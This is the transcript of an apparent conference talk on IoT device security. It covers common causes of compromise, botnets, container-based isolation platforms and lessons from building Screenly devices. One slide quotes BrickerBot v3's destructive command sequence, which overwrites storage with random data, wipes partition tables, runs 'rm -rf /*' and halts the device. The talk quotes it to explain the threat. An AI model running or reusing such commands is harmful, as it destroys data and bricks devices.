The "S" in "IoT" stands for "Security"

IoT security isn't rocket surgery, but a race to market has left a proliferation of insecure, unpatchable devices strewn across the internet. Well-established software delivery and security best practices are routinely ignored, and a series of laughable breaches has left users and governments scrabbling for better solutions.

Recent advances in IoT-friendly hardware have expanded the options available to manufacturers, and paved the road to lightweight containerisation of connected devices. This talk will discuss the current state of the art in consumer and industrial IoT device security, examine some recent vulnerabilities, breaches, and attacks, and explore how to use containers to secure devices from current and future threats.

Transcript

2. Internet of Shit The ”S” in “IoT” stands for ”Security”
3. I’m: - Andy - Dev-like - Sec-ish - Ops-y
5. Viktor (@vpetersson) • Entrepreneur, geek, tinkerer • Jack-of-all-trades • Cofounder of ◦ Screenly (screenly.io) ◦ WoTT (wott.io) ◦ (and a few other things)
6. What’s WoTT? • Enable DevSecOps • Gamify security • Provide visibility and alerting • Started in IoT, now on edge devices and servers
7. © xkcd The sad state of ”smart” devices
8. “The Internet of Things is a science project focused on creating the most complex way possible of turning the lights on.” @domguinard
17. https://www.theregister.co.uk/2016/03/25/vnc_roulette/ https://www.tomsguide.com/us/pictures-story/748-vnc-roulette-slideshow.html#s12
18. What This Talk is About • IoT: The State of the Art • How Containers and Kernel Technologies Can Help • Botnets and Brickerbots • Building Better Devices
19. IoT: The State of the Art
20. https://www.wired.com/2016/08/jeep-hackers-return-high-speed-steering-acceleration-hacks/ •
21. http://money.cnn.com/2017/01/09/technology/fda-st-jude-cardiac-hack/
28. How We Think IoT Devices Run
29. How IoT Devices Actually Run
31. Blockchain all da thingz!
32. Why do IoT devices get compromised? • Default credentials • Poor, or non-existent, update cycles • Insecure services exposed to the network (telnet, ftp, etc) • No isolation or hardening • Manufacturers not using common sense
33. IoT Devices vs Servers • IoT devices are getting more powerful • More and more are running Linux ◦ Except many battery-powered devices • This means we are deploying general purpose computers into...everything ◦ Moore’s law at play • ...the line is getting blurry between IoT and traditional compute
34. Securing Servers 101 • What services are running? ◦ Do we need all of them? ◦ Are any of them publicly exposed on the network? • Is everything configured with least privilege? • Are we using process isolation to limit the blast radius of a breach? • Is everything encrypted in transit? At rest? • Is the firewall configured? • Are there any packages installed with known vulnerabilities? • Are we conformant to documented best practice (CIS, OWASP, et. al.)? • How do we monitor if any of this changes?
35. Securing IoT Devices 101
36. Sham eless self-plug
37. Containers and IoT
38. Containers to the Rescue! Containers to the Rescue!
39. Modern IoT Operating Systems
40. • “git push master balena” • Application isolated • Isolation tool: Docker/BalenaEngine
42. • Smaller footprint than “Classic” • Lots of “read-only” and kernel magic • Interfaces, slots and plugs • Snaps, Docker and LXD • Self-updating • Isolation tool (primary): AppArmor
44. • Everything is a “snap” (including the OS) • Transactional, cryptographically signed, updates • Default permission is nill (or almost) • Permission must be granted explicitly ◦ E.g. network access, ports etc
45. - Trusted Domain https://developer.ubuntu.com/static/resources/ubuntu-core-16-security-whitepaper.pdf
46. https://www.networkworld.com/article/3128372/internet-of-things/ddos-at tacks-using-iot-devices-follow-the-manchurian-candidate-model.html
48. # BrickerBot v3 device logic $ busybox cat /dev/urandom >/dev/mtdblock0 & $ busybox cat /dev/urandom >/dev/sda & $ busybox cat /dev/urandom >/dev/mtdblock10 & $ busybox cat /dev/urandom >/dev/mmc0 & $ busybox cat /dev/urandom >/dev/sdb & $ busybox cat /dev/urandom >/dev/ram0 & $ busybox cat /dev/urandom >/dev/mtd0 & $ busybox cat /dev/urandom >/dev/mtd1 & $ busybox cat /dev/urandom >/dev/mtdblock1 & $ busybox cat /dev/urandom >/dev/mtdblock2 & $ busybox cat /dev/urandom >/dev/mtdblock3 & $ fdisk -C 1 -H 1 -S1 /dev/mtd0 w $ fdisk -C 1 -H 1 -S1 /dev/mtd1 w $ fdisk -C 1 -H 1 -S1 /dev/sda w $ fdisk -C 1 -H 1 -S1 /dev/mtdblock0 w $ route del default;iproute del default;ip route del default; rm -rf /* 2>/dev/null & sysctl -w net.ipv4.tcp_timestamps=0;sysctl -w kernel.threads-max=1 $ halt -n -f $ reboot
49. How do we get vendors to give a shit?
50. Defence Against the Dark Botnets
55. IPv6 IPv6
56. IPv6
57. Building Better IoT Devices
59. Device life cycle
60. Common mistakes
61. Designing Better IoT Devices
62. Lessons learned from Screenly
63. Screenly 1 Player + + + +
64. Screenly 2 Player criteria • Disk images built on CI • Process isolation (perhaps using containers) • Transactional updates (app and OS) ◦ Automatic roll-back • Not having to manage the OS layer ourselves ◦ Must be locked down/Hardened by default • Bonus: Cryptographically signed updates
65. Screenly 2 Player + +
66. Recap
67. Conclusion • Everything is now a computer ◦ Whatever that means... • IoT security is an afterthought at best • The new breed of containerised IoT platforms greatly enhance the update and security story • This problem is bigger than all of us: legislation, class action, or revolt is required! This should be supported by financial incentives • We can fix life cycle and runtime security • Go forth and patch your devices!
68. @sublimino @controlplaneio @vpetersson @wottsecurity